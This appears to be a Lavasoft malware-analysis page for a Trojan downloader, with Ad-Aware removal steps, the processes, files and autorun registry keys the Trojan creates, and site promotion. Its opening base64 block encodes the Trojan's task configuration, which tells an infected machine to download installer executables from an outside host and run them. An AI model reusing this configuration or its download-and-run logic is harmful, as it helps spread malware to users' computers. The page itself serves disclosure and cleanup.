PHVwZGF0ZXMgcmVmcmVzaD0iMTIwIj4KCjx0YXNrPg0KDQo8cGVyZm9ybT4NCg0KPGRvd2
5sb2FkIG5hbWU9IlNlY29uZEwiIHZhbHVlPSJodHRwOi8vYnJhdGl0bGFtaW8uY29tL2Zy
b21fYmFja3VwLzc0NzQ3NC9BZHNTaG93X2luc3RhbGxlci5leGUiIHZlcnNpb249IiIgIH
NvZnR3YXJlPSIiIG5ldD0ieWVzIiAvPg0KPHByb2Nlc3MgdHlwZT0ic3RhcnQiIG5hbWU9
IlNlY29uZEwiIHZhbHVlPSJub3R3YWl0IiBwYXJhbXM9Im5pbXBvcnRlIi8 DQo8bW9kIH
R5cGU9ImFkZCIgbmFtZT0iUXNPbmUiIHZhbHVlPSIxNzA5MDIiLz4NCg0KPC9wZXJmb3Jt
Pg0KDQo8Y29uZGl0aW9ucz4NCg0KPG1vZCB0eXBlPSJjaGVjayIgbmFtZT0iUXNPbmUiIH
ZhbHVlPSI0NTE3MDkwMiIgbWF0Y2g9ImZhbHNlIi8 DQoNCjwvY29uZGl0aW9ucz4NCjwv
dGFzaz48dGFzaz4NCg0KPHBlcmZvcm0 DQoNCjxkb3dubG9hZCBuYW1lPSJPbmVUd28iIH
ZhbHVlPSJodHRwOi8vYnJhdGl0bGFtaW8uY29tLzMvMDAwMDAwL3dpenpjYXN0ZXJfaW5z
dGFsbGVyX3YyLmV4ZSIgdmVyc2lvbj0iIiAgc29mdHdhcmU9IiIgbmV0PSJ5ZXMiIC8 DQ
o8cHJvY2VzcyB0eXBlPSJzdGFydCIgbmFtZT0iT25lVHdvIiB2YWx1ZT0ibm90d2FpdCIg
cGFyYW1zPSI1N2E3NjRkMDQyYmY4Ii8 DQo8bW9kIHR5cGU9ImFkZCIgbmFtZT0iSGFoYS
IgdmFsdWU9IjAwMDE3MDkwMiIvPg0KDQo8L3BlcmZvcm0 DQoNCjxjb25kaXRpb25zPg0K
DQo8bW9kIHR5cGU9ImNoZWNrIiBuYW1lPSJIYWhhIiB2YWx1ZT0iMTcwOTAyIiBtYXRjaD
0iZmFsc2UiLz4NCg0KPC9jb25kaXRpb25zPg0KPC90YXNrPjx0YXNrPg0KDQo8cGVyZm9y
bT4NCg0KPGRvd25sb2FkIG5hbWU9IlNobzlsaWJpIiB2YWx1ZT0iaHR0cDovL2JyYXRpdG
xhbWlvLmNvbS9leGUvdXBkYXRlci5leGUiIHZlcnNpb249IiIgIHNvZnR3YXJlPSIiIG5l
dD0ieWVzIiAvPg0KPHByb2Nlc3MgdHlwZT0ic3RhcnQiIG5hbWU9IlNobzlsaWJpIiB2YW
x1ZT0id2FpdCIgcGFyYW1zPSJ3ZSIvPg0KPG1vZCB0eXBlPSJhZGQiIG5hbWU9IkRhdGUi
IHZhbHVlPSJmZThmMTcwOTAyIi8 DQoNCjwvcGVyZm9ybT4NCg0KPGNvbmRpdGlvbnM DQ
oNCjxtb2QgdHlwZT0iY2hlY2siIG5hbWU9IkRhdGUiIHZhbHVlPSIxNzA5MDIiIG1h
<<< skipped >>>

The Trojan connects to the servers at the folowing location(s):


Remove it with Ad-Aware

  1. Click (here) to download and install Ad-Aware Free Antivirus.
  2. Update the definition files.
  3. Run a full scan of your computer.


Manual removal*

  1. Terminate malicious process(es) (How to End a Process With the Task Manager):

    SecondL.exe:3804
    Sho9libi.exe:3548
    OneTwo.exe:2324
    %original file name%.exe:1796

  2. Delete the original Trojan file.
  3. Delete or disinfect the following files created/modified by the Trojan:

    C:\Windows\Microsoft.NET\Framework\v2.0.50727\CONFIG\enterprisesec.config.cch.new (856 bytes)
    C:\Windows\Microsoft.NET\Framework\v2.0.50727\CONFIG\security.config.cch.new (856 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\s24moif2wi3\odg1gcdteyb.exe.config (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\CLR Security Config\v2.0.50727.312\security.config.cch.new (856 bytes)
    %Program Files%\AZK1ZWID9P\cast.config (36 bytes)
    %Program Files%\AZK1ZWID9P\uninstaller.exe (34376 bytes)
    %Program Files%\AZK1ZWID9P\AZK1ZWID9.exe (71670 bytes)
    %Program Files%\AZK1ZWID9P\uninstaller.exe.config (1 bytes)
    %Program Files%\AZK1ZWID9P\AZK1ZWID9.exe.config (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RZTDZ9JOBP\SecondL.exe (657 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RZTDZ9JOBP\OneTwo.exe.config (1 bytes)
    C:\config.conf (47 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RZTDZ9JOBP\SecondL.exe.config (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RZTDZ9JOBP\Sho9libi.exe.config (1 bytes)

  4. Delete the following value(s) in the autorun key (How to Work with System Registry):

    [HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
    "Y137I1YRL72CGI7" = "%Program Files%\AZK1ZWID9P\AZK1ZWID9.exe"

    [HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
    "ld3z5t1rmyr" = "C:\Users\"%CurrentUserName%"\AppData\Roaming\s24moif2wi3\odg1gcdteyb.exe"

    [HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce]
    "OMEWPRODUCT_Z22B4" = "C:\%original file name%.exe"

  5. Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
  6. Reboot the computer.

*Manual removal may cause unexpected system behaviour and should be performed at your own risk.

No votes yet


Lavasoft is the maker of Ad-Aware, the world's most popular anti-malware software with over 450 million downloads.
© 2025 Lavasoft. All rights reserved.
Terms Of Use |   Privacy Policy


x

Our best antivirus yet!

Fresh new look. Faster scanning. Better protection.

Enjoy unique new features, lightning fast scans and a simple yet beautiful new look in our best antivirus yet!

For a quicker, lighter and more secure experience, download the all new adaware antivirus 12 now!

Download adaware antivirus 12
No thanks, continue to lavasoft.com
close x

Discover the new adaware antivirus 12

Our best antivirus yet

Download Now